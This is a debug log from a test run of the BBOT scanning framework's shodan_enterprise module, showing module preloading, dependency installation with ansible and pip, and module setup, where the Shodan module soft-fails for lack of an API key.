[INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 18:11:25,868 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 18:11:25,878 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 18:11:25,879 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 18:11:25,880 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 18:11:25,881 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 18:11:25,882 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 18:11:25,883 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 18:11:25,884 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 18:11:25,885 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 18:11:25,886 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 18:11:25,887 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 18:11:25,887 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 18:11:25,888 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 18:11:25,889 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 18:11:25,890 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 18:11:25,891 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 18:11:25,892 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 18:11:25,893 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 18:11:25,894 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 18:11:25,895 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 18:11:25,896 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 18:11:25,897 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 18:11:25,898 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 18:11:25,899 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 18:11:25,899 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 18:11:25,901 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 18:11:25,901 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 18:11:25,903 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 18:11:25,903 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 18:11:25,904 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 18:11:25,904 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 18:11:25,905 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 18:11:25,906 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 18:11:25,907 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 18:11:25,907 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 18:11:25,908 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 18:11:25,908 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 18:11:25,909 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 18:11:25,909 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 18:11:25,910 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 18:11:25,910 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 18:11:25,912 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 18:11:25,913 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 18:11:25,914 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 18:11:25,915 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 18:11:25,917 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 18:11:25,918 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 18:11:25,920 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 18:11:25,920 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 18:11:25,921 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 18:11:25,922 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 18:11:25,923 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 18:11:25,924 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 18:11:25,924 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 18:11:25,924 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 18:11:25,925 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 18:11:25,926 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 18:11:25,927 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 18:11:25,928 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 18:11:25,928 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 18:11:25,929 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 18:11:25,929 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 18:11:25,930 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 18:11:25,931 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 18:11:25,931 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 18:11:25,932 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 18:11:25,936 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 18:11:25,937 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 18:11:25,938 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 18:11:25,939 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 18:11:25,939 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 18:11:25,940 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 18:11:25,941 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 18:11:25,941 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 18:11:25,942 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 18:11:25,943 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 18:11:25,943 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 18:11:25,944 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 18:11:25,945 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 18:11:25,945 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 18:11:25,946 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 18:11:25,947 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 18:11:25,947 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 18:11:25,948 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 18:11:25,948 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 18:11:25,949 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 18:11:25,949 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 18:11:25,950 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 18:11:25,951 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 18:11:25,951 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 18:11:25,952 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 18:11:25,952 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 18:11:25,958 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 18:11:25,958 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 18:11:25,959 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 18:11:25,960 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 18:11:25,961 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 18:11:25,962 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 18:11:25,963 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 18:11:25,963 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 18:11:25,964 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 18:11:25,965 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 18:11:25,966 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 18:11:25,967 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 18:11:25,968 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 18:11:25,968 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 18:11:25,969 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 18:11:25,970 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 18:11:25,970 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 18:11:25,971 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 18:11:25,972 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 18:11:25,972 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 18:11:25,973 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 18:11:25,974 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 18:11:25,974 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 18:11:25,975 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 18:11:25,976 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 18:11:25,976 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 18:11:25,977 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 18:11:25,978 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 18:11:25,979 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 18:11:25,980 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 18:11:25,981 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 18:11:25,981 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 18:11:25,982 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 18:11:25,982 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 18:11:25,983 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 18:11:25,984 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 18:11:25,984 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 18:11:25,985 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 18:11:25,986 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 18:11:25,986 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 18:11:25,987 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 18:11:25,987 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 18:11:25,988 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 18:11:25,989 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 18:11:25,989 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 18:11:25,990 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 18:11:25,991 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 18:11:25,991 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 18:11:25,992 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 18:11:25,992 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 18:11:25,993 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 18:11:25,993 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 18:11:25,994 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 18:11:25,995 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 18:11:25,996 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 18:11:25,996 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 18:11:25,997 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 18:11:25,997 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 18:11:25,998 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 18:11:25,998 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 18:11:25,999 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 18:11:26,000 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 18:11:26,001 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 18:11:26,001 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 18:11:26,002 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 18:11:26,002 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 18:11:26,003 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 18:11:26,004 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 18:11:26,004 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 18:11:26,005 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 18:11:26,005 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 18:11:26,006 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 18:11:26,006 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 18:11:26,007 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 18:11:26,008 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 18:11:26,008 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 18:11:26,009 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 18:11:26,010 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 18:11:27,089 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:11:27,089 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:11:27,090 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 18:11:27,231 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 18:11:27,771 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 18:11:27,771 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 18:11:27,771 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 18:11:27,771 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 18:11:27,969 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 18:11:27,970 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 18:11:28,079 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 18:11:28,080 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 18:11:28,136 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 18:11:28,138 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 18:11:28,139 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 18:11:28,560 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 18:11:28,560 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 18:11:32,287 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 18:11:32,287 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 18:11:32,287 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 18:11:34,178 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 18:11:34,180 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 18:11:34,185 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:11:34,185 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 18:11:34,185 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:11:34,186 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 18:11:34,186 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:11:34,186 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 18:11:34,187 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:11:34,187 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 18:11:34,187 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 18:11:34,188 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 18:11:34,192 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/dyh3obu2j5off6wberwd +2026-02-27 18:11:34,954 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 18:11:34,955 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 18:11:34,956 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 18:11:35,077 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 18:11:35,077 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 18:11:35,077 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 18:11:35,079 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 18:11:35,079 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 18:11:35,080 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 18:11:35,080 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 18:11:35,081 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 18:11:35,081 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 18:11:35,081 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 18:11:35,082 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 18:11:35,082 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 18:11:35,082 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 18:11:35,082 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 18:11:35,082 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 18:11:35,083 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 18:11:35,083 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 18:11:35,084 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 18:11:35,084 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 18:11:35,084 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 18:11:35,084 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 18:11:35,085 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 18:11:35,085 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 18:11:35,085 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 18:11:35,085 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 18:11:35,085 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 18:11:35,086 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 18:11:35,086 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 18:11:35,086 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 18:11:35,086 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 18:11:35,086 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 18:11:35,087 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 18:11:35,087 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 18:11:35,087 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 18:11:35,087 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 18:11:35,087 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 18:11:35,088 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified +2026-02-27 18:11:35,088 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 18:11:35,088 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 18:11:35,088 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 18:11:35,088 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 18:11:35,089 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 18:11:35,089 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. +2026-02-27 18:11:35,089 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 18:11:35,089 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 18:11:35,241 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_krx0h9sjry +2026-02-27 18:11:35,242 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 18:11:35,381 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started +2026-02-27 18:11:35,382 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 18:11:35,382 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 